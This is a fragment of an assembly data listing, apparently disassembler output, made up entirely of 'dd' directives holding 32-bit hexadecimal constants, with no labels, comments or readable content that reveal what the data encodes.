		dd 63007B61h, 99E00F21h, 0D8F8ABh, 6B550E42h, 338EFD30h
		dd 0E2DDEB00h, 53892056h, 7447245h, 0EF82198Dh,	47CA4172h
		dd 5452E0DCh, 0A92A500h, 0F0980D46h, 25640044h,	35BA8279h
		dd 0D5FE61DBh, 6741A407h, 0E0C00C17h, 7562CBFDh, 4C690073h
		dd 798AB005h, 192663F9h, 82003C97h, 8BFC68FBh, 4809C1CAh
		dd 0D381E26Dh, 67F0A4E6h, 16269F98h, 1E8ED020h,	1F0E8755h
		dd 21031490h, 4CB1EE54h, 0F0070CD3h, 6060C04Fh,	67171D25h
		dd 8A78D0A8h, 2A8EA50Fh, 87D3C10Ah, 0C0F48209h,	364D001Dh
		dd 4280226Ch, 8F7A1EC8h, 67B38107h, 0CE237223h,	58DAD826h
		dd 0A804001Ch, 0E0DBF271h, 89007017h, 863E4C1h,	66AFD77h
		dd 90560AFFh, 220011E6h, 0ABFBAAD5h, 0EA6D6201h, 72A514F8h
		dd 0C900AC8Eh, 49320D44h, 8700A120h, 0B2900694h, 1D13C1B0h
		dd 87096AFCh, 0F0F65DBCh, 79AE0F6Bh, 2CC2590Eh,	4277E0D0h
		dd 0A83EF2h, 6C1CDF4Fh,	0EF5F9857h, 0CA617900h,	0B111DBEh
		dd 9C1807F3h, 0D148F419h, 0F081CDE6h, 0BE001A50h, 348BA8ADh
		dd 37FACA2h, 0B0AE5687h, 9CE0DF48h, 301DECBFh, 80BDD65Dh
		dd 4DB88609h, 674FEDB1h, 0DFDBD8A1h, 0C64B03C0h, 4524041Dh
		dd 0B3EA420h, 80CA4E19h, 0E7F642F3h, 0F0401F0Bh, 0CB41C7EDh
		dd 75188CE8h, 0F48AC100h, 0E787FF64h, 96EC61h, 89F966F2h
		dd 0E60B60E2h, 0FC08E09h, 7FAC8104h, 5430E395h,	8BD269Fh
		dd 0BD18090h, 79F2D391h, 6BBCFB00h, 0ED2DA73Bh,	4AEE00F8h
		dd 46699603h, 0F000EFE5h, 41BA2A1Eh, 1C5E178Ch,	87AEA41Ch
		dd 90A53A26h, 2CDD2053h, 94486063h, 0CB01BFDAh,	0DC20F18Dh
		dd 610B001Eh, 0C8484E43h, 40484FB8h, 0C09C8E94h, 0E06B947Fh
		dd 0DFD3266Ah, 41D800E3h, 7422ECB5h, 7E27BF1Fh,	458A20B0h
		dd 327200B7h, 569CA23Fh, 1B00D167h, 5F168F0h, 0AA5A4Fh
		dd 7D1ECFC8h, 17ED542Eh, 8300067Eh, 70E87416h, 0E923558h
		dd 0FDE9CE96h, 0C034A244h, 0EED32E70h, 0DA24B900h, 95EA967Dh
		dd 604C0E9Ah, 22A0E8FFh, 7FB29F01h, 4C9D61Dh, 0F844840h
		dd 3CB31945h, 4100715Eh, 4D4C4ED8h, 8A035995h, 0FD38F89Ch
		dd 5DB0E7D1h, 74CB42h, 30FF31F3h, 0D4496FACh, 525B7E00h
		dd 11685796h, 569B00CAh, 3FEE9245h, 0AA1DE648h,	0D9800F8Bh
		dd 2DE1844Fh, 17433B34h, 59FDA780h, 0B90BEDFEh,	0B8738601h
		dd 0CA50E6B3h, 0D030F2EDh, 95F400ABh, 6A029A85h, 0E679883h
		dd 7EC00109h, 70680CABh, 20883E85h, 75179Dh, 257CE305h
		dd 7B00ED74h, 6F100822h, 71BB76h, 57FDECBCh, 0F79D24F4h
		dd 8FB8C950h, 0FA93FF1Dh, 75DB38C0h, 0CCB962h, 0D0F31D52h
		dd 1E8CB682h, 18460F2Eh, 5BECC901h, 38304AA0h, 261203E7h
		dd 382AFB09h, 6463FDF9h, 0D813EB0Ch, 8000910Eh,	6AB435DEh
		dd 0C4161327h, 7848000Fh, 0A3C9F10Ch, 85BD4D3Dh, 42ABA60Bh
		dd 715DDCC0h, 0B03E0082h, 40E1E692h, 78002B5Ch,	0F70AADEAh
		dd 166B4DBDh, 40AE4F39h, 2981B8C8h, 0FC00F217h,	24F76559h
		dd 0EAC088D3h, 0CA55001Ah, 40080A99h, 0D70052A9h, 0A5F95DB1h
		dd 6DB37h, 0E7EAC06Bh, 5E69A4CBh, 0F7909700h, 58CF4087h
		dd 0A59F0068h, 77C02F1Fh, 0C200A96Ch, 84815DECh, 2E9673DEh
		dd 802CF0F4h, 2547BFEAh, 4114A017h, 41D1Fh, 142C5CA5h
		dd 292153A6h, 5E0E685h,	106EF59Ah, 796F4E8h, 70A57FEFh
		dd 0CF354BC2h, 9500877Eh, 987EA209h, 3DB57FAh, 16A6385h
		dd 5AE9B347h, 2BA812Dh,	0C64215Dh, 21094F4h, 82C00777h
		dd 186BFB3Ch, 0DE3331A8h, 0C2E6F100h, 0E0616F7Dh, 679002FCh
		dd 92DAE8EDh, 91B02A40h, 0FC7BC024h, 0A72E8502h, 0FC14E016h
		dd 84DD0069h, 0F9286BA9h, 6100E3E4h, 67E1EF79h,	6881F6Dh
		dd 157C9C14h, 710B42C2h, 0A0322D20h, 0D9E5B018h, 138984Ch
		dd 0D86250C5h, 0EC9156DFh, 0BAF151DEh, 22698118h, 1F40CB6Ch
		dd 5DC9C4h, 42CFEA2Eh, 5CC81A21h, 0A9EBFE04h, 98C00687h
		dd 0E34B2DC7h, 0D730EC72h, 4E02CCF1h, 0DB9F5D00h, 0CA9353C4h
		dd 3E2900B6h, 241CB291h, 510009CBh, 80942765h, 0CF5750h
		dd 0B1AE6705h, 92C697C9h, 7AA8DE59h, 0DF07580Eh, 0BE6460F6h
		dd 2E846D71h, 577943h, 6306FFF7h, 0F406C0C4h, 3CB0BD0Ch
		dd 0DC700F8h, 19C65662h, 0CA005966h, 0D05C6417h, 5F5D16h
		dd 5A5EEFD3h, 0E0A6AC60h, 0A3DB5000h, 9A085593h, 5CDFAE6h
		dd 0F75C969Dh, 2E806E2h, 8B00F80Dh, 1B43E791h, 0D0E338h
		dd 6CF229Dh, 0E9FA6A97h, 69F09A03h, 0D0FE9CEAh,	18DFDh
		dd 3A618C89h, 0F6BA5CC0h, 9A608402h, 4010AAC4h,	0F6A91EECh
		dd 0C0FC90F5h, 49737510h, 880FDE60h, 6BD3F9D4h,	81480F8Bh
		dd 1ACC4E9Dh, 0C0170BE8h, 16615731h, 0E9042BB9h, 56AD133Ah
		dd 0DF3B0CD0h, 0AE6F4012h, 77006890h, 8788D8Eh,	7E1F429h
		dd 282F4B47h, 98C01F75h, 3E560C4h, 4DE81E00h, 0C990D15Dh
		dd 0EF460591h, 80F9EDA5h, 0CA72637Ch, 0D004E8EAh, 3BA8D705h
		dd 996F9C81h, 394BCDFCh, 0D3005FEDh, 396D80AEh,	924C32CEh
		dd 723988h, 6AEF58C3h, 94EE516h, 182FED0Eh, 1AC91580h
		dd 0DF4C8A81h, 0A7440020h, 0AD936C66h, 45970798h, 0A005AA57h
		dd 63DA0E41h, 7ADB5D00h, 0A58475E7h, 2C1A0316h,	46EB3A6Eh
		dd 0D2319FA0h, 1C1E5CC0h, 9CC48h, 86806F39h, 33444A45h
		dd 0CBB3DD0Eh, 659B43E4h, 0A15298FCh, 3D3BF403h, 0BD808C0Bh
		dd 0C7F675A5h, 25796AC6h, 5C51B00h, 0F4074615h,	0D924075Eh
		dd 50BCFE43h, 5B2EA68Bh, 3C341D00h, 0C867F4F7h,	2D750A6Fh
		dd 0CC3DE1h, 6DB27D77h,	0B6038976h, 0B4477CE9h,	2D458063h
		dd 5E0500EAh, 7D91112Eh, 8100DDF6h, 86CCF394h, 0AA6A99h
		dd 0DA6D9E83h, 5732808Dh, 8D36B12h, 611B5007h, 98DB8A40h
		dd 0BF132ED0h, 0DEBE0051h, 0F8D79438h, 80A2CE3Fh, 6AEC93D8h
		dd 4183C8h, 536FF475h, 0DCACF37Ch, 0D5122A01h, 0F7B0406Ch
		dd 0D067ECh, 66738F61h,	68E0FEF5h, 6F1D577Ah, 569FE113h
		dd 4CFCF702h, 1785869h,	41CA0234h, 0D0D5FFCCh, 0F14B4F4h
		dd 803808h, 0A8660E29h,	6C70ECh, 4948DAF1h, 0E5FBF75Bh
		dd 2CB26400h, 727B6AC4h, 0B9CE026Eh, 5AF32A54h,	0BA4C2870h
		dd 0A5EB01ECh, 0A4112B5Dh, 40A90981h, 60A21020h, 0EA00810Ch
		dd 8994089Fh, 1D92F19Eh, 8016878Ah, 9A06848Fh, 5E06D993h
		dd 0CF485D7Fh, 0FCC9131Ch, 6FFC44A7h, 0E75C8232h, 5C80D0E2h
		dd 4BD2F8ECh, 0CD265900h, 8E9B46D8h, 19081821h,	1CAF7982h
		dd 73140917h, 8C91310Ah, 8C22E726h, 0BAD8DE0Ch,	32C1C855h
		dd 6C19C5F5h, 7006071h,	0A460DB5Ah, 202A004Dh, 783B1217h
		dd 8E02F8A1h, 0F4340476h, 0BBABE0E6h, 16BC9849h, 42BEF2FCh
		dd 0D46089Ch, 74669868h, 20385A01h, 894D7EACh, 0C053B420h
		dd 0A7DECA80h, 0C00AF045h, 4F63FA1h, 4BBCC500h,	60B3C6F1h
		dd 0EC0A3840h, 0F90F66C8h, 5FF5D5h, 0FF624AE2h,	60CE02D2h
		dd 312E8A04h, 0F6C3A4AFh, 57E2E7A9h, 729EA163h,	4C631C3Ch
		dd 0DC330064h, 8A826B5Ch, 80F500F9h, 6C1AD44Ah,	0EC00682Ah
		dd 0CFE64E74h, 3F1F6B18h
		dd 0C5803F65h, 95ACB823h, 0AF2D97E4h, 0A1842060h, 0C92F4h
		dd 0B74C74E0h, 0FD12F605h, 3C94ACA3h, 1DF3EA3h,	95B32980h
		dd 6FAEDD6Ch, 0A1004973h, 0D4D0E00Bh, 606A4804h, 65152C36h
		dd 56007FC9h, 5AA8E83Fh, 0C6EB29h, 9BF1A451h, 9510896Dh
		dd 6AE58F13h, 3B81B81Ch, 833FA0ACh, 0AA890980h,	0B58C45A6h
		dd 811DD598h, 0DA81A8B4h, 79C6776Dh, 0BDEE20h, 0B84D737Ah
		dd 0BA61747Fh, 281F6518h, 9C04572h, 0A71E160h, 0B20028ECh
		dd 0CC281ECh, 286A4A56h, 1C0E8FFh, 3B284158h, 0C2D3DAA8h
		dd 12688080h, 9B00AE46h, 9FA2C04Dh, 1CD1ABA0h, 0AC87A816h
		dd 731380F0h, 0CA4628DAh, 51009B73h, 0E1A4F812h, 0E09DE609h
		dd 57FC0061h, 9E1A6240h, 0E000A293h, 0DDC7BD8Eh, 1D1B66A0h
		dd 0C05A0BAEh, 4ECC125Fh, 5300B4DAh, 57BEE049h,	75C4A32h
		dd 4321843Dh, 8026A5C5h, 16FF4674h, 0B6B06C1Dh,	0CB4C5A80h
		dd 1434138Dh, 0ECF806A7h, 301BB300h, 322AA2ADh,	0B6A0AB18h
		dd 383D2909h, 20E0B3A6h, 43C8E028h, 0CF023E73h,	0CCD44B5Eh
		dd 1CD94Dh, 98641ECAh, 50B0E604h, 46CC4C13h, 93D25002h
		dd 348240AFh, 4877F61h,	280C2B5Fh, 0E3C4C2FCh, 0DAFB6240h
		dd 0ED1F1CEAh, 0EEC68287h, 1E117014h, 80553A62h, 0F61D76F9h
		dd 0F8924DE7h, 59126743h, 6A6800A5h, 85111D18h,	0A7CE1600h
		dd 6CFADCF3h, 5C9BE86Dh, 780F3361h, 0A3E033BFh,	0C81FA49Ch
		dd 1287EC00h, 0A853A58Ah, 0F6180CE0h, 0B769C097h, 33BEC400h
		dd 63F18860h, 54E01Fh, 5EFB93E5h, 44F585EBh, 89B7E93Dh
		dd 74A1B6Eh, 5857CBD0h,	5A01D410h, 0AA9D02ACh, 0F46F5E12h
		dd 147CE0D0h, 60008FF0h, 0B53F5424h, 53B095h, 5844460Eh
		dd 14C86C4h, 0BA142D00h, 211B9E71h, 0C8D4009Dh,	0D665D85h
		dd 63055247h, 175CD6CFh, 76CBC888h, 0EB730B74h,	8077F037h
		dd 0DF6E810Ch, 23C74ACh, 70D7C589h, 0B4406811h,	0E4EEF37Ah
		dd 6F43831Ah, 2A686008h, 3A407C79h, 186086E5h, 4A2813F1h
		dd 26BD0200h, 27B6012Dh, 8B0B3E38h, 0B9062C00h,	48A625DBh
		dd 76B44748h, 0C5052D02h, 48243107h, 92D26804h,	244E76ACh
		dd 81C01B25h, 8085925Ch, 14882888h, 3942AE5h, 0A9CA3B3Eh
		dd 58110084h, 472E554Ch, 37005649h, 0F6FD28C2h,	2483EC3h
		dd 8A3964F7h, 58D0A1A0h, 0F996F512h, 0FC403C1Ch, 4F50AA2Eh
		dd 0C1A92FB6h, 12FDB404h, 1E8E5490h, 0B1890186h, 0D785A356h
		dd 47A080F9h, 188C5839h, 632A0C8Dh, 131804DAh, 0BE454F00h
		dd 0D44D6470h, 5F521D8Ah, 3CFE80C4h, 0B6A3A5B1h, 842EB690h
		dd 7300B02Fh, 0E4C23506h, 0F6BF24FCh, 402D1D74h, 0DC3E882Bh
		dd 0D00F0611h, 4064DDB1h, 70C56A82h, 0B6E600B3h, 0A9621BDFh
		dd 6600928Dh, 2FB80CF6h, 3E2971BFh, 63012C60h, 0EEFB2E65h
		dd 4097D778h, 0DD8A6477h, 57DFB226h, 0BC7FBA02h, 0D324E03Ah
		dd 42560501h, 814AE5DAh, 0C448F3AFh, 491EE2E4h,	403EDF43h
		dd 0FC9200D9h, 6F8FF75Ch, 9E00CC59h, 91F15EFAh,	4C3586Ah
		dd 363886EEh, 7780C00Bh, 8B5EFB9Dh, 0F698B430h,	0D366000Fh
		dd 0D550AB96h, 432E8499h, 0CF070874h, 0FAB04761h, 2F2FE3Dh
		dd 5F46309Bh, 4F88D6Ah,	0E53B1102h, 0D0546253h,	0AE250430h
		dd 0B008B898h, 641F5B78h, 9740BB15h, 683F7738h,	3D903C9h
		dd 0B41472A6h, 20E15B89h, 7A1CE668h, 68B0BE2Bh,	0F04CF769h
		dd 90FD2E26h, 0DFD10049h, 0E7A6CD3Fh, 9CAF9912h, 0EA2E2AE8h
		dd 0B1F700FEh, 2C5CB316h, 0FE8DAC01h, 60E96D8Ch, 7DD8C3C8h
		dd 0DE2A001Fh, 9B5753E0h, 0B800FF19h, 6FF7638Ch, 3BD222h
		dd 0EF91859Dh, 0FF9683A6h, 92CFE300h, 0EBAC8075h, 7B1C091Bh
		dd 54206D15h, 72DE4219h, 16006778h, 0EBD32D33h,	1F216B4Fh
		dd 0CEC6C7AAh, 71A4F7CFh, 6374E053h, 6D80140Ch,	26104C6Ah
		dd 3D50F7Eh, 35A14B03h,	0B6AA20B8h, 3C691800h, 44571EA5h
		dd 0FF2601ADh, 0B82EC1A7h, 8C3CB7h, 3EBEEFF9h, 38729A7Ch
		dd 70249296h, 121D1E24h, 0CC490C5Eh, 5D006211h,	4CABADAAh
		dd 758A63EEh, 0D9A60032h, 1498BDB9h, 3D3C646Fh,	152193h
		dd 0F6A623C6h, 0FE71D30Ah, 0EF7625h, 5E56DD88h,	21151C13h
		dd 917280F9h, 39595277h, 2087DB81h, 0C518DED8h,	0D30C0028h
		dd 6BEBFEF8h, 0F00FA6FEh, 80054E9Ah, 0ABC247EFh, 0FC5D0060h
		dd 1A4B996Fh, 900FFAE9h, 4640F2h, 0F0C9F8FEh, 0D7AB0050h
		dd 0D937F743h, 9A01A701h, 3C445F9Dh, 0EDCCE68Ah, 8623004Ch
		dd 0A849720Dh, 0BE0FDF13h, 0C04D4738h, 0E97752EFh, 2EAA003Bh
		dd 0C1FD94F5h, 500FED9h, 0E79D9736h, 8BBD88h, 68E870E0h
		dd 80615E19h, 0F4776303h, 98DCA89Eh, 0AE119Dh, 727431ADh
		dd 43CEAA3Fh, 0C1691E00h, 27402CF5h, 447AE0h, 0AE317BB5h
		dd 0FD3DBB86h, 0CD6A6802h, 0F5EFC3FCh, 14E1C1E0h, 581231F4h
		dd 3040783Ah, 0FAD474F9h, 0DDFE00FCh, 700A8BA5h, 0EF53F43Ch
		dd 7FAD0CB4h, 1BC180Bh,	644F2114h, 42990694h, 0D058B6D4h
		dd 169E4E00h, 757ED515h, 50DD3005h, 7BF22C28h, 6B047108h
		dd 3D5830FCh, 6500CDE9h, 0CB4A5883h, 3546FA4h, 6C5570FCh
		dd 29006A12h, 0A3FE318Eh, 0EA5EC210h, 5D1A3C15h, 0D12187B1h
		dd 0FCAEEC2Ah, 45857D03h, 0E060F866h, 0C02C8D04h, 0A8393C80h
		dd 0D1DC53FDh, 0C2BD9740h, 6D5E96DEh, 0D608B06Ah, 0C8139069h
		dd 8200A8BDh, 0FF6BE6B6h, 8FBA93h, 7719A638h, 28EB4A55h
		dd 17B080EBh, 50E0796h,	3D13005Bh, 5F1C5ACCh, 4F3A08EAh
		dd 95880312h, 0A84A1AB3h, 0C03E6Bh, 0C231DC62h,	0C16C9220h
		dd 52D72401h, 5CD34883h, 2F535F1h, 9E2D8h, 4F457016h, 312FFA38h
		dd 52AE561Eh, 12622280h, 0F9B2C50h, 74EEAFE4h, 87016580h
		dd 4E1D7BE6h, 3EC0C08Ah, 0BB915EA7h, 9269064Fh,	30F6797Dh
		dd 0DFC4FF00h, 0BA45F8D0h, 0FE9A3046h, 179BA949h, 1500FD77h
		dd 0EA8DD4C7h, 6320E38Ch, 0DB7DCCEDh, 3E05280Eh, 2910808Eh
		dd 71FE23h, 0C7F3B76Dh,	124C752Bh, 0AC99B002h, 4014210Bh
		dd 601D5A7Eh, 7B2E8073h, 5C016189h, 7D1B6964h, 0F3D57442h
		dd 9D24F8E7h, 18D7090h,	5175790Ch, 0C0227AB9h, 1F02082Dh
		dd 0C8F3B365h, 0BE060EEh, 0FDC70179h, 0C9A3805h, 0F47080E6h
		dd 858606DEh, 0F23A7129h, 0B619C405h, 90305801h, 0B2C78813h
		dd 0BCF6D8C1h, 0F60D791h, 0B3F31C6Ch, 1003FE3h,	11A1F5C0h
		dd 4AD292Bh, 0A8C20876h, 0D05FA59Ah, 0FB01E9B9h, 0EE86F2BFh
		dd 0F5C0F085h, 4DAC00C1h, 46AFD8C0h, 0F81E75BBh, 0ED03FB8Ch
		dd 0A0CBBAC5h, 0F4BFF3C4h, 0B9F8FDh, 0BDEF49F8h, 0C2BAFAF1h
		dd 0F739FC1Dh, 0EE88EB47h, 9A87C19Eh, 90F7F471h, 7CE2A06Bh
		dd 0A9F203FBh, 8BFA6CC5h, 8E1C77C3h, 0E800D8CEh, 6651A5FFh
		dd 71CC3A4Bh, 0B8C237h,	0AEA62EB0h, 0F86A7300h,	8CBD65B3h
		dd 0A7BE019Dh, 43F6E66Fh, 34C1C085h, 41DE29C8h,	2BF504Bh
		dd 2DD410F2h, 89EE9288h, 444E08E3h, 2A44EAF7h, 3E28A0C6h
		dd 89A8951h, 0EA2C455Ah, 88478E10h, 7889F1B6h, 0A84E27CEh
		dd 88480888h, 0E788F282h, 1442947Bh, 0F1C22818h, 7188F35Eh
		dd 0F0F68888h, 8945DC88h, 9E14416Ah, 820A1280h,	25C4B428h
		dd 193C13C6h, 80FE29B8h, 0C474CA51h, 0E54662h, 0AC677BDEh
		dd 0F6589629h, 0C6A44400h, 2CFC5C64h, 84A00B3h,	30E1E9EDh
		dd 860ED44Ch, 0A03B7355h, 101ADF8Eh, 43841FA9h,	408C9E0Dh
		dd 7CD89805h
		dd 1701D5F8h, 90CEFAB9h, 8D707F44h, 0D18801DEh,	0A44D1BAAh
		dd 9260FC26h, 4B8C7C00h, 0EB7DE095h, 985CE8A5h,	500E00F4h
		dd 2B6F7EB9h, 19009C69h, 3DBFCF8Dh, 721EC415h, 9E3C0E1Dh
		dd 16808498h, 31625FF9h, 0AB9A700h, 1BD24CE1h, 0CD480079h
		dd 0A12FA65Ch, 780496A5h, 8F224A16h, 0D05EA093h, 5F7F53h
		dd 8AC05960h, 3E65B202h, 0D2A81C60h, 2533B8h, 0AE052CD0h
		dd 0B2214096h, 0CCE7F00h, 0B4E3DB9Bh, 9F2F007Dh, 0BDC3A5E8h
		dd 880027D9h, 1AA9AD49h, 1AECF6Eh, 1F0B268Ah, 20A2414Bh
		dd 0DC0EBEDCh, 0E07B09E1h, 0A92608D8h, 6DCF3DFAh, 0C99F5FBDh
		dd 1D0A80C8h, 5A4361F7h, 8E673500h, 0F4204082h,	62EF00A5h
		dd 3692E7ACh, 1015415h,	7B3891D8h, 0F9E85CDFh, 0C9C818E3h
		dd 0D91BD867h, 0B824F400h, 0B7DDFCA1h, 947E0119h, 0F05CA95Fh
		dd 2ED0FC8Bh, 806D223Bh, 0D762674Ch, 0EFAFBFh, 104B253h
		dd 83AE4790h, 0CB493300h, 0E69A88E1h, 92D80068h, 6DBE80CEh
		dd 7602C087h, 0BB4E2607h, 0A4B4802Dh, 2A79FEh, 44A765F4h
		dd 16903C0Dh, 0F8942E0Fh, 0E06A20B0h, 394556h, 81038D67h
		dd 0E4272F4Fh, 7F22B900h, 995B9FCBh, 7FE172ADh,	0D96D1C7Ch
		dd 632BC0A5h, 72B54BEBh, 85290600h, 76CEB858h, 283A01DBh
		dd 1F39389Bh, 71C3FCE6h, 316D04C0h, 0F080CB99h,	72A800E7h
		dd 0B44B2DE2h, 0D207EEF4h, 0EDEC326Dh, 0EAF6018Bh, 0D05062A5h
		dd 1D49D8Ah, 0F548441Dh, 708F4D23h, 0B9EA9697h,	0BAC98300h
		dd 6BCA546Dh, 531A242Eh, 95C78034h, 656EA03Eh, 926AFA1Eh
		dd 79C1C00h, 0EC897993h, 9150000Ah, 29FF81AEh, 96003419h
		dd 0EFA63EC2h, 4705D9h,	0AD5FED24h, 2EDC6A9Fh, 6583B301h
		dd 0FB50B1FFh, 0E796C8h, 759DA6F9h, 946134DFh, 0BEBC4200h
		dd 0F4890809h, 0AD530079h, 0E6A80736h, 0A37A8274h, 204AE500h
		dd 1E401460h, 9FE4A0h, 9771C298h, 64D17876h, 0ADE1100h
		dd 8DECDB92h, 0F046601Ah, 0E5F3B24Ch, 8FF8AC00h, 0C9F6A3BFh
		dd 0F9CC0F03h, 51A01C4Eh, 54085B7h, 3F84B501h, 8D9CE3FAh
		dd 1CB90460h, 40885734h, 1E2D295Fh, 2003DA74h, 82D8A970h
		dd 0B3ACB809h, 396E0E7Fh, 37E0CD91h, 0E2C818CEh, 19AA3E03h
		dd 0B0550DBDh, 7B5103h,	0F48A3D76h, 0F9A40BFDh,	8BEA7800h
		dd 45A2DFA6h, 0A01B00CFh, 7B3EE472h, 6B5038A1h,	0AB013DC4h
		dd 21F45529h, 4DD4E548h, 46E0074h, 3DA7AAF1h, 1600C4DAh
		dd 0DB31AC8h, 78EC49h, 0E8AFDCC5h, 8E8D9448h, 0BC006576h
		dd 0AA01B9A4h, 60B66B50h, 98DD10BFh, 0D3096CC8h, 810395B2h
		dd 0A90C4704h, 27DCA007h, 3500565Ch, 2AB75AF6h,	311AC74h
		dd 0E3B9B38h, 68001CDCh, 417AA631h, 989DEDh, 116CA1E1h
		dd 8ED1FEECh, 990D5800h, 3D2DC3D4h, 64EE03A3h, 0A8F22640h
		dd 6CE61380h, 0E441B600h, 0D4447C88h, 11AE00A4h, 1E14EEDCh
		dd 870E8B20h, 60DE6C90h, 0C2627049h, 4C2200D5h,	0B02F5B7Bh
		dd 157333C5h, 0EA681F00h, 0F032E9D8h, 8046128Dh, 0DA740060h
		dd 0D612B544h, 2C4F1703h, 0D0D95BB7h, 33A668h, 0CA8A5693h
		dd 7B833CABh, 0B8FDD800h, 245C2150h, 432503EEh,	2F5E03CBh
		dd 54994188h, 0D3807301h, 483DEF8Ch, 0C0E6E021h, 0C9970Bh
		dd 36E7A43Ah, 0FE35955Eh, 5DF6810Eh, 0D58BBD9Ah, 404D0F20h
		dd 24CCCD68h, 0D6BE16F3h, 0E834006Dh, 97B2AABh,	83388D00h
		dd 8E79EFCh, 1E8A0054h,	272B682Ch, 8C004B0Ah, 81D00EF4h
		dd 2E13E9h, 0D7FB7F12h,	0CA314738h, 113A0C00h, 0D4600F06h
		dd 0FD89EA8Ah, 7E032D30h, 0C7220078h, 75F19F2Bh, 1D3C125Bh
		dd 882E00B2h, 0CEEBCDD9h, 25877FEh, 7C130435h, 0E88FFF54h
		dd 7AB867h, 2F9EBA14h, 19A6F800h, 0CB9DDFAEh, 0B73200BCh
		dd 0A5B5E711h, 660067E9h, 0E277EF4Ah, 1C09FBACh, 0DCF1A653h
		dd 3F2DC09Bh, 48DFAFAEh, 5B6C2802h, 409A9C90h, 5AF240h
		dd 9FE012BEh, 0F54563D5h, 664CEE00h, 4E8406ECh,	725D2401h
		dd 0AB8A0051h, 8A59318h, 0FE288000h, 1941E365h,	5D910033h
		dd 68A6834Eh, 4700DD72h, 0F99A7D1Eh, 7A3781B9h,	3E260125h
		dd 0AF0392CCh, 0BDA3CC7Bh, 9817EA09h, 0C094802Eh, 8DA5AAh
		dd 0D84AF9D6h, 73BC58F0h, 242F3900h, 427E520Ch,	0ED6000A3h
		dd 351FC113h, 2B00047Bh, 82D6A290h, 13F93C7h, 0A9DDB195h
		dd 61719B48h, 6E67CC14h, 0B755EA03h, 0E9E86CE5h, 57718D63h
		dd 51F160h, 8149A021h, 9A92E3BFh, 8B6BE901h, 9D6AA54Eh
		dd 7A6C020h, 9627153h, 232F50F7h, 2A0283CBh, 0A7DBA585h
		dd 77B4C069h, 894A003Dh, 5A0BF280h, 8B381A37h, 0B5B9871Ch
		dd 9F309B16h, 0C43BB54h, 0B0BCBD1Eh, 0F60014A8h, 1A57710Ah
		dd 28BBEDE1h, 0F2E42AA0h, 237F00FBh, 0FC588C1Fh, 9A002BC6h
		dd 0AF612FEAh, 144C8B45h, 0CFEF0546h, 21490A00h, 0D3E2808h
		dd 748C6A00h, 781A46B9h, 0EB350029h, 8754623Fh,	4A1D0AE9h
		dd 43402036h, 9D326EC1h, 0D38407D7h, 205B2582h,	61738CE1h
		dd 19C48B24h, 6080A51Ch, 0B587AA96h, 2D5B39ADh,	0E44C68Bh
		dd 769CCC80h, 890034FAh, 0C3A1AF7Ah, 5BDEC3Fh, 0D4FFA7B0h
		dd 4BEC40FDh, 7B2576B9h, 73104E12h, 54361803h, 58888152h
		dd 1A42C447h, 0BE80C03Bh, 6EF402A0h, 5B062983h,	164CB481h
		dd 0B28802Ah, 8B6708DAh, 84B302C1h, 6BFBC0BDh, 89C27048h
		dd 0ABE22C00h, 97B3472Eh, 1CA00042h, 13B77CF6h,	0CD7A525Eh
		dd 3AC82200h, 5683259Ah, 58D00098h, 0EA35D56Dh,	21012387h
		dd 3653FC8Fh, 4E0076F2h, 3C00AAECh, 3F5C7930h, 0F8DB4DD6h
		dd 769539DCh, 20CCE9BCh, 0B062E704h, 0A90C15Ch,	867C20AAh
		dd 0BD1F2500h, 0D66AECA7h, 85360098h, 9C2106E3h, 0F5006B3Ah
		dd 292D478Bh, 8CA21Ah, 0B396C614h, 1FCF137Dh, 0E84F5F02h
		dd 638305C4h, 0D74DC990h, 0D2C0C028h, 0E0AE728Fh, 8137353Eh
		dd 4885DF07h, 34EC464Dh, 0D5DB00F2h, 0DEBF67F9h, 5F00A32Eh
		dd 62B68540h, 1F5B93DAh, 0EA462260h, 0ECE600A4h, 0A44D16B3h
		dd 0A6041A6Ah, 0E9290A6Bh, 439B9C90h, 0A74A68h,	53B8BBA4h
		dd 25072BA3h, 0F0CDE4F1h, 9BC21D00h, 6650C489h,	0B3C88CEBh
		dd 0BC71580Bh, 52B880A7h, 0E0D73Bh, 8BB95064h, 0CFF22B59h
		dd 38D54100h, 45764B02h, 961900A4h, 71B33CF5h, 0C0002ABDh
		dd 0CEB561F8h, 3B674Ah,	0C5E86612h, 0EEA478AFh,	3F7470C0h
		dd 0EC79DAA5h, 0E8620020h, 2511256h, 8F7F3C13h,	86DE5E00h
		dd 48FBE0B3h, 7958000Bh, 0F8B08DB5h, 855CA12Eh,	685B01FCh
		dd 14A8844Fh, 0C838D7C5h, 1E394700h, 2F701556h,	0A000AC94h
		dd 0F44F3D8h, 0D14C006Eh, 4E48CD77h, 4A00CC25h,	8A6842B9h
		dd 0EEA7E6D5h, 0D9EA0070h, 9A40E9ADh, 0F81E7DD1h, 1BC0A65Ah
		dd 3A76BCE3h, 8C6009Dh,	0FF656FDCh, 901E90Eh, 1CF8E8F6h
		dd 48800AA0h, 0D7D2AF72h, 0B07EA7Fh, 50DB8B12h,	901C48D0h
		dd 0DA0A00CFh, 0C0EE7BF6h, 2248099h, 3C80A821h,	4928AB0Eh
		dd 3F9500BDh, 0DBF188A1h, 0AA009331h, 0E563F28Dh, 0BFEF38h
		dd 73B77F9Dh, 8C5AFC44h, 51AD0400h, 0A36B9591h,	2F5E5812h
		dd 0EB691A00h, 40A764FAh, 56CC200h, 22D41076h, 0B3853A6Dh
		dd 0F9EAE80h, 7560044Eh, 0E3035A7Ah, 0B5F52D26h, 884FFB40h
		dd 0A31116h, 2A22AC01h,	3D661F69h, 80DF0E3Ch, 9A0B780h
		dd 1328A66Dh, 0C0A3C516h, 76D8EC94h, 4D8C461Ch,	7BA03B00h
		dd 1CDD05CFh, 4011A26Ch
		dd 0DA8EB361h, 5007A5BBh, 6FEE9A42h, 5BDD2D90h,	0EAC90A30h
		dd 908237h, 52B10B10h, 78003B98h, 5E51DD96h, 0C015A6C7h
		dd 0D018C371h, 0F52C179Ch, 4080142Eh, 65D99907h, 0B07690C8h
		dd 18A2002Ch, 522AF117h, 810088FEh, 84D5BAA3h, 7CFA6Dh
		dd 0FB83F969h, 3D480726h, 5A989E00h, 0D5715059h, 2A6B008Fh
		dd 2479B861h, 0D492E316h, 26CF5600h, 0FDF6C985h, 3017FEFh
		dd 8FB94843h, 0C1A80686h, 8E1D1F2Ch, 0F80F4FAh,	22CD976Fh
		dd 0ADD30035h, 0B09DD7EFh, 0D464CBD8h, 0D490E910h, 0F5972Ch
		dd 99A9824h, 38519080h,	0CE66EE03h, 0A669E69Fh,	0F990530h
